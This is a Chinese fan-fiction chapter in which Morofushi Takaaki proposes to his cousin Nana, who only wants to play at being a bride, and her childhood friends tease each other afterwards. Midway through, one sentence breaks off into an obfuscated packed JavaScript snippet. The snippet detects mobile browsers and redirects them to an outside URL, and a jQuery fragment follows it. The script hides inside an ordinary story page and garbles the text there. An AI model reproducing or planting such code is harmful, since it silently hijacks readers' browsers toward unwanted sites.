长子生来就是要承担父母留下来的一切。 但景光还小,如果可以的话,他希望弟弟能远离痛苦和伤害,远离流言蜚语,获得平静祥和的人生。 以及,表妹的事他很抱歉。姑父姑母出于信任,把表妹交到了他家,他家却让表妹陷入了危险,他实在难辞其咎,没脸继续与她朝夕相处、看着她天真快乐的笑颜。 葬礼结束,姑父姑母带走了小景。不知道出于什么考量,他们没有走完整的手续、更改小景的户籍。这肯定会给他们带来很多的困扰,他们没说不意味着麻烦不存在。 无论如何,案件发生后的力挽狂澜、葬礼前后的尽心操持、多年前对怠惰的警方的施压、许久以来对小景的养育和照顾,都是他难以偿还的恩情。 娜娜17岁了,依然是个没长大的孩子。可她的过家家范围,已经不再局限于她的那间娃娃屋了。 如果有人需要为她更大范围的过家家,改变人生的重大规划,而且往后的余生都要围绕着她行动,诸伏高明宁可那个人是他。 他愿意学习姑父对姑母、父亲对母亲那样体贴细致、无微不至的关爱,至死不渝。 “你在说什么啊高明哥?”孩子气的表妹脸上没有半分害羞或喜悦,只有纯然的困惑,“为什么要和你结婚?” 摔在门口叠猫猫的诸伏景光和降谷零无声无息地挪动成跪坐的姿势,尽量降低存在感地旁听现场。他们比望月七宫的脸可红多了。 诸伏高明有点意外望月七宫的反应,他确认了一下,反问道: “娜娜不是想当新娘子吗?” 望月七宫痛快地点头,她的眼睛还是那么明亮: “对啊。” ……对什么啊? 诸伏高明摸不清情况,难道小表妹其实有了心仪对象?他旁敲侧击道: “那,娜娜想给谁当新娘子?” 望月七宫的反应像是他又说了句她听不懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007696|194083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的古语,看看他,又去看两个小伙伴,头顶简直冒出了一个摞一个的大小问号。 两个小伙伴神情复杂地望着她:他们的幼驯染怕不是傻掉了。 没能从场外嘉宾那里得到提示,望月七宫只好亲自动动脑子想一想,把高明哥莫名其妙的求婚和求婚前后发生的所有事想了一遍,还是没想出个所以然,干脆直接问吧: “什么给谁当新娘子?谁啊?” 诸伏高明让她问懵了,一时没反应过来。更熟悉她的诸伏景光倒是理解了她的意思,翻译道: “哥哥,娜娜姐好像没打算和谁结婚……” 诸伏高明思考中。 降谷零扶额,进一步解释: “这家伙根本就是想穿穿她提名的那些豪华婚服,扮演‘新娘’,体验好几种不同风格的婚礼,过过‘今天我是全世界最美的人’的瘾!重点不是‘新郎是谁’、甚至不一定要有新郎。她都管‘孩子’叫‘子民’了,哪里是打算结婚的样子。” 望月七宫没弄懂诸伏高明在疑惑什么——多显而易见啊,连总是摸不着头脑、在那里胡说八道的小野猫都能看出来、还难得地说了人话。 她的眼神过于明显了,降谷零锋利的目光切过去,不满地嚷嚷: “你那是什么在看智商低地的眼神?” 望月七宫估摸着她哥她弟都在,降谷零一打三肯定打不过,抱起手臂,昂起头,用下巴看降谷零: “我猜你不愿意跟我结婚对不对?” 降谷零吃下了她的嘲讽,他对上望月七宫时彼此好像完全不能免疫激将法,不高兴地跳起来,让她不得不仰视: “是又怎么样?” 望月七宫伸手一指,得意地下令: “就他了!我就喜欢看他不愿意的样子!高明哥,Hiro,抓住他!” 降谷零撒腿就跑,一溜烟地冲出去。诸伏高明不为所动。诸伏景光0.25倍速地点头微笑、从容起身、整理衣服、迈步出门、拉上门扇、前往玄关…… 要是按照这种效率行动,降谷零游过太平洋、对岸登陆那天,诸伏景光说不定刚刚穿完第二只鞋,鞋带的结还要再花时间打好。 望月七宫没有追,也不怎么在意降谷零的逃跑,双手叉腰,猖狂大笑。发现诸伏高明不赞同的眼神,她收敛了一些,改为猖狂小笑。 降谷零回头好几次都没见有人追出来,越跑越慢,还是没人追。快跑到家的时候下起了零星小雨,冰冷的雨丝落在了他的眼泪,很不舒服。 他愤愤地想,再和那个不坑他一下浑身难受的缺德幼驯染多说一句话,他就是小狗! 有人敲门。 他出去开门,发现高明哥租的车停在他家门口,放下两个人后开走。Hiro打着伞,幼驯染中最可恶的那个抱着一本《鸽群中的猫》,高高兴兴地递给他: “你落下了东西在我家,挑书的时候还在说‘决定这就是我的睡前读物了’,结果转眼就忘了。你是什么‘Zero鱼’吗?” 降谷零没说话,也没有马上接过,表情变化莫测。 望月七宫没察觉到空气里的气氛变化,以为他在为了忘东西闹别扭,把书往他怀里一塞,招呼诸伏景光: “送到了,走啦,回家回家。” 诸伏景光摆出了“我没有笑、我一点都没有笑”的表情,瞥了降谷零一眼,用力抿着嘴,走在望月七宫身边,一起离开。 一高一矮的身影走出去十几步,望月七宫抖了抖耳朵,侧头听了会儿,问道: “你有没有听到Zero突然‘汪’了一声?” 诸伏景光回过头,稍稍放大了音量: “Zero,娜娜姐让我问你有没有在‘汪’!” 降谷家的门“砰”的一下!被甩上了。 望月七宫回了下头,什么异常都没看出来,把这件事放在一边,吐槽消失在视野里的小伙伴: “他怎么像个乱发脾气的小狗?忘了东西还要跟门生气,门又没有忘东西。” 诸伏景光含笑点头,心想可不是嘛,肯定有小狗跟自己赌气来着,你没看出来罢了。 “不管他了,快回家吧。天气预报说明天台风要来,我们还得把玻璃都贴上米字格呢。” “好哦。你说……要是明天台风过境的时候,在身上绑几个风筝,能飞起来吗?” “能不能飞起来不知道,但一定能荣获达尔文奖。” “那还是别了吧。‘蠢蠢的死法’奖项一点都不适合我。要是非死不可的话,我一定要死得轰轰烈烈,最好连猫头鹰星都能听到我的声音。” “不许说这样的话,你答应过我。” “哼哼哼哼。”